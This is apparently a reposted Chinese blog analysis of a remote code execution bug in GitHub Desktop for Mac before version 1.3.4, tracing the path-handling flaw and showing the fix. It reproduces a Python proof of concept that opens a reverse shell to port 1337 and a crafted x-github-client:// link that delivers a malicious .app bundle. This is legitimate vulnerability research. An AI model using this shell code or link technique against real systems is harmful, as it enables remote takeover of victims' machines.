Github Desktop for Mac < 1.3.4 RCE 漏洞分析

栏目: 编程工具 · 发布时间: 6年前

内容简介:06 Dec 2018 - Tr3jer_CongRong白天看到老外在H1-702 2018玩的项目,electron的案例不多,感觉有点意思复现下。准备工作:

06 Dec 2018 - Tr3jer_CongRong

白天看到老外在H1-702 2018玩的项目,electron的案例不多,感觉有点意思复现下。

准备工作:

  • https://github.com/desktop/desktop/archive/release-1.3.3.zip
  • 恢复下.git/目录以及所需的文件
  • yarn install
  • yarn build:prod
  • mv dist/GitHub Desktop-darwin-x64/GitHub Desktop.app /Applications

漏洞成因:

首先github的 Clone or download 按钮包含一个 Open in Desktop 的pull方式

验证时发现目前该方式的协议为 github-mac:// 但早起版本的协议应该是 x-github-client:// ,并且包含几个参数:

x-github-client://openRepo/https://github.com/user/repo?branch=master&filepath=README.md

app/src/lib/app-shell.ts

export const shell: IAppShell = {
	moveItemToTrash: electronShell.moveItemToTrash,
	beep: electronShell.beep,
	openExternal: path => {
		return new Promise<boolean>((resolve, reject) => {
			ipcRenderer.once(
				'open-external-result',
				(event: Electron.IpcMessageEvent, { result }: { result: boolean }) => {
					resolve(result)
				}
			)

			ipcRenderer.send('open-external', { path })
		})
	},
	showItemInFolder: path => {
		ipcRenderer.send('show-item-in-folder', { path })
	},
	openItem: electronShell.openItem,
}

ipcRenderer对象使用 show-item-in-folder 事件发送获取到的path

跟进app/src/main-process/main.ts

ipcMain.on(
	'show-item-in-folder',
	(event: Electron.IpcMessageEvent, { path }: { path: string }) => {
		Fs.stat(path, (err, stats) => {
			if (err) {
				log.error(`Unable to find file at '${path}'`, err)
				return
			}

			if (stats.isDirectory()) {
				openDirectorySafe(path)
			} else {
				shell.showItemInFolder(path)
			}
		})
	}
)

ipcMain对象监听到该事件消息后,fs库判断下是否为目录,如果是则传进 openDirectorySafe 。但没有考虑到mac系统下.app也是为目录的

> fs = require('fs')
> fs.stat('/Applications/GitHub Desktop.app',(err,stats)=>{console.log(stats.isDirectory())})
> true

跟进app/src/main-process/shell.ts

export function openDirectorySafe(path: string) {
	if (__DARWIN__) {
		const directoryURL = Url.format({
			pathname: path,
			protocol: 'file:',
			slashes: true,
		})

		shell.openExternal(directoryURL)
	} else {
		shell.openItem(path)
	}
}

判断如果是mac系统则使用 file:// 协议重新构造url,并 shell.openExternal 运行。

POC:

作者编写的py版本 POC ,并用Pyinstaller打包了起来

import socket,subprocess,os;

os.system("open -a calculator.app")

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("localhost",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

本地监听,浏览器打开包含指定POC APP的链接:

x-github-client://openRepo/https://github.com/0xACB/github-desktop-poc?branch=master&filepath=osx/evil-app/rce.app

浏览器询问是否使用GitHub Desktop.app打开,确定并开始clone,随后反弹shell。

Fixed:

fix方式很简单,判断不是mac系统最终才可以打开

-        if (stats.isDirectory()) {
+        if (!__DARWIN__ && stats.isDirectory()) {

以上所述就是小编给大家介绍的《Github Desktop for Mac < 1.3.4 RCE 漏洞分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

人月神话(英文版)

人月神话(英文版)

[美] Frederick P. Brooks, Jr. / 人民邮电出版社 / 2010-8 / 29.00元

本书内容源于作者Brooks在IBM公司任System/360计算机系列以及其庞大的软件系统OS/360项目经理时的实践经验。在本书中,Brooks为人们管理复杂项目提供了最具洞察力的见解,既有很多发人深省的观点,又有大量软件工程的实践,为每个复杂项目的管理者给出了自己的真知灼见。 大型编程项目深受由于人力划分产生的管理问题的困扰,保持产品本身的概念完整性是一个至关重要的需求。本书探索了达成......一起来看看 《人月神话(英文版)》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具